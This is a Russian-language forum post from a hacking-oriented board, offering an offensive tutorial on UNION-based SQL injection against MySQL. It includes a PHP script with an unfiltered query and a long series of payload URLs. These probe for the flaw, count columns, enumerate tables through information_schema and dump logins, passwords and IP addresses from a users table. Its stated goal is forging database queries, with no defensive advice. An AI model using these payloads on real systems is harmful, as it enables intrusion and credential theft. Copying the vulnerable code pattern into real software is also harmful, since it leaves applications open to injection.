1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

SQL Injection в MySQL

Тема в разделе "Чужие", создана пользователем Viclug, 18 окт 2012.

  1. TopicStarter Overlay
    Viclug

    Viclug Gott mit Uns!

    Регистрация:
    22 июн 2012
    Сообщения:
    620
    Симпатии:
    468
    Что такое SQL инъекции (SQL Injection) ?
    Очень многие разработчики сайтов, при написании приложений и составлении запросов к БД , при чем запросы имеют параметр , передающийся из вне например GET или POST методом, не задумываются о том что полученные данные не всегда будут корректными. Например:
    Код:
    1. <?php
    2. $id=$_GET['id'];
    3. $mysql=mysql_connect("localhost","login","passowrd");
    4. mysql_select_db("test",$mysql);
    5. $query="SELECT * FROM admin WHERE id=".$id;
    6. $result=mysql_query($query);
    7. while($row=mysql_fetch_array($result)) {
    8. echo $row["login"]."<br>";
    9. }
    10. mysql_close($mysql);
    11. ?>
    Здесь видно что в запрос к БД поступает методом GET информация извне, потом она обрабатывается и выводится логин юзера при соответствующем id. В данном примере нет никакой фильтрации поступающих данных. Наша задача заключается в том чтобы составить корректный но поддельный запрос к БД. Итак SQL Injection – это подделка запроса к БД . На примере этого кода мы рассмотрим эксплуатацию SQL Injection.
    Как составляются запросы к БД.
    Я не буду рассказывать про сложные запросы, а разберу простые. Подробнее про SQL вы можете почитать документацию. Итак, начнем:
    Код:
    SELECT id, login, password FROM admin where id=1
    Оператор SELECT(Выбор)- выбирает из таблицы нужные нам колонки. В данном примере это id, login, password. Если стоит `*`то значит выбираются все колонки данной таблицы. Далее идет FROM(из). После него пишется имя таблицы. WHERE(где) после этого слова пишется все что угодно. В данном случае выбирается юзер с id=1. Рассмотрим пару полезных операторов в SQL:
    UNION(объединение) – объединяет два SELECT запроса.
    ORDER BY или GROUP BY - упорядочивает результат запроса в соответствии со значениями одного или нескольких столбцов, выбранных в предложении SELECT
    LIMIT x,y - отсчитывает y строк из x.
    Функции:
    Hex() – переводит строку в HEX
    Unhex() – производит обратное преобразование из hex
    Concat() или Concat_ws() – объединяют результат вывода
    Комментарии:
    Код:
    #, +--+ - однострочные коментарии
    /* - многострочные коментарии
    Для начала хватит.

    Ошибки SQL
    Стандартные ошибки которые свидетельствуют о наличии SQL инъекции:
    Код:
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\ on line 7
    Или типа:
    Код:
    You have an error in your SQL syntax ….  
    Также вывод ошибок может быть отключен, но это не значит что ее нет.

    Обнаружение SQL Injection

    Для того чтобы обнаружить наличие SQL Injection можно передать запросы типа:
    Код:
    1. _http://localhost/b_code.php?id=1'
    2. _http://localhost/b_code.php?id=199999999999999999999
    3. _http://localhost/b_code.php?id=1+and+1=1
    4. _http://localhost/b_code.php?id=1+and+1=0
    5. _http://localhost/b_code.php?id=1’+and+’1’=’1
    6. _http://localhost/b_code.php?id=1’+and+’1’=’0
    7. _http://localhost/b_code.php?id=-1+or+1=1
    8. _http://localhost/b_code.php?id=-1+or+1=0
    9. _http://localhost/b_code.php?id=1+order+by+1000000
    Разберем их по отдельности:
    1: Если первый запрос вернет ошибку то можно явно говорить о наличии уязвимости
    2:Второй запрос передает БД несуществующий параметр. Если он вернет ошибку то уязвимость также присутствует.
    3, 4:Если при посылке третьего запроса страница отображается без изменений а при посылке четвертого она результат отображения изменяется (Например: срабатывает перенаправление или исчезают титлы) то можно говорить об узявимости.Данный тип запроса полезен при выключенных ошибках.
    5,6,7,8: Аналогично 3,4.
    9: Иногда бывает так что логика с or, and не срабатывает тогда можно попробовать сразу начать перебирать колонки иногда катит:).

    Подбор колонок

    Чтобы подобрать колонки можно юзать один из двух вариантов:
    1: Полный перебор
    Это когда мы полностью перебираем все колонки пока не увидим результат. Результатом будут наши цифры из запроса т. е.:
    Код:
    1) _http://localhost/b_code.php?id=-1+union+select+1+--+
    2) _http://localhost/b_code.php?id=-1+union+select+1,2+--+
    3) _http://localhost/b_code.php?id=-1+union+select+1,2,3+--+
    И так до тех пор пока количество цифр не будет равно количеству колонок между SELECT и FROM. Для того чтобы увидеть наш результат в браузере а не содержимое колонки с id=1 мы передаем ложный параметр. В данном случае id=-1.
    2: Использование ORDER BY (GROUP BY):
    Этот способ хорош тем что мы можем быстро подобрать в несколько запросов правильное количество колонок.
    Код:
    1) _http://localhost/b_code.php?id=1+order+by+1+--+
    2) _http://localhost/b_code.php?id=1+order+by+100+--+
    3) _http://localhost/b_code.php?id=1+order+by+3+--+
    4) _http://localhost/b_code.php?id=1+order+by+4+--+
    При посылке первого запроса страница отобразится нормально т.к. число колонок между SELECT и FROM больше или равна одному. При посылке второго запроса мы видим на странице либо ошибку того что колонок не 100 либо страница изменится что свидетельствует о том что колонок меньше 100. Третий запрос возвращает страницу в нормальном виде значит колонок либо больше 3 либо равно 3. Четвертый запрос возвращает страницу как при посылке 2 запроса значит колонок 3.Оператор GROUP BY работает аналогично.

    Составляем запрос и узнаем нужную нам информацию

    Итак, мы подобрали число колонок. Теперь нам надо составить запрос к БД. Пробуем:
    _Please login or register to view links
    Запрос к БД выглядит так :
    Код:
    (SELECT id, login, password FROM admin WHERE id=-1 union select 1,2,3+--+)
    Мы объединили два SELECT запроса в результате получился корректный запрос . В результате мы увидим наши цифры в окне браузера. Можно было использовать и and или or:
    Код:
    _http://localhost/b_code.php?id=1+and+1=0+union+select+1,2,3+--+
    _http://localhost/b_code.php?id=-1+or+1=0+union+select+1,2,3+--+
    Теперь нам нужно узнать версию, юзера, имя базы. Для этого будем использовать функции version(), user(), database().Пусть на экране отобразилась цифра 2 тогда составляем следующие запросы :
    Код:
    1) _http://localhost/b_code.php?id=-1 +union+select+1,version(),3+--+
    2) _http://localhost/b_code.php?id=-1 +union+select+1,user(),3+--+
    3) _http://localhost/b_code.php?id=-1 +union+select+1,database(),3+--+
    Или можно послать один запрос объединив функцией concat() или concat_ws():
    Код:
    http://localhost/b_code.php?id=-1 +union+select+1,concat(version(),0x3a,user(),0x3a,database()),3+--+
    0x3a – шестнадцатиричный код символа ‘:’. Среди этих функций более важной для нас является версия. Если версия 5 или выше то мы сможем узнать все таблицы и колонки. Если версия ниже 5 то нам вручную придется подбирать и таблицу и колонки к ней. Сначало я рассмотрю 5 версию.
    Версия 5 и выше.
    В данной версии есть база данных с названием information_schema в которой есть таблицы с названием tables и columns . В них хранится информация о таблицах и колонках . Теперь попробуем узнать таблицы нашего сайта. Для этого составим запрос типа:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+--+
    Так мы увидим первую таблицу. Теперь с помощью LIMIT перебираем все остальные.
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+limit+0,1+--+
    _http://localhost/b_code.php?id=-1 +union+select+1,table_name,3+from+information_schema.tables+limit+1,1+--+
    и т.д.
    Когда мы найдем нужную нам таблицу, мы должны узнать ее колонки, чтобы получить информацию из БД. Пусть мы нашли таблицу users. Составим следующий запрос:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, column_name,3+from+information_schema.columns+where+table_name=0x7573657273+--+ 
    где
    7573657273 – users в hex.
    Можно было сделать вывод сразу т.е.:
    Код:
    _http://localhost/b_code.php?id=-1+union+select+1,concat(table_name,0x3a,column_name),3+from+information_schema.columns+--+
    Также с помощью LIMIT перебираем колонки.
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, column_name,3+from+information_schema.columns+where+table_name=0x7573657273+limit+0,1+--+  
    Пусть мы нашли колонки с названием login,password,icq,ip. Чтобы получить информацию из них мы составим следующий запрос:
    Код:
    _http://localhost/b_code.php?id=-1 +union+select+1, concat(login,0x3a,password, 0x3a,icq, 0x3a,ip),3+from+users+--+  
    И также с помощью LIMIT перебираем всех юзеров. Впринципе все. Насчет четвертой версии это не катит т.к. там нет БД information_schema и нам придется угадать и таблицы и колонки.


    (С) Инхорн
     
    • Like Like x 1
    Метки:

Поделиться этой страницей

Загрузка...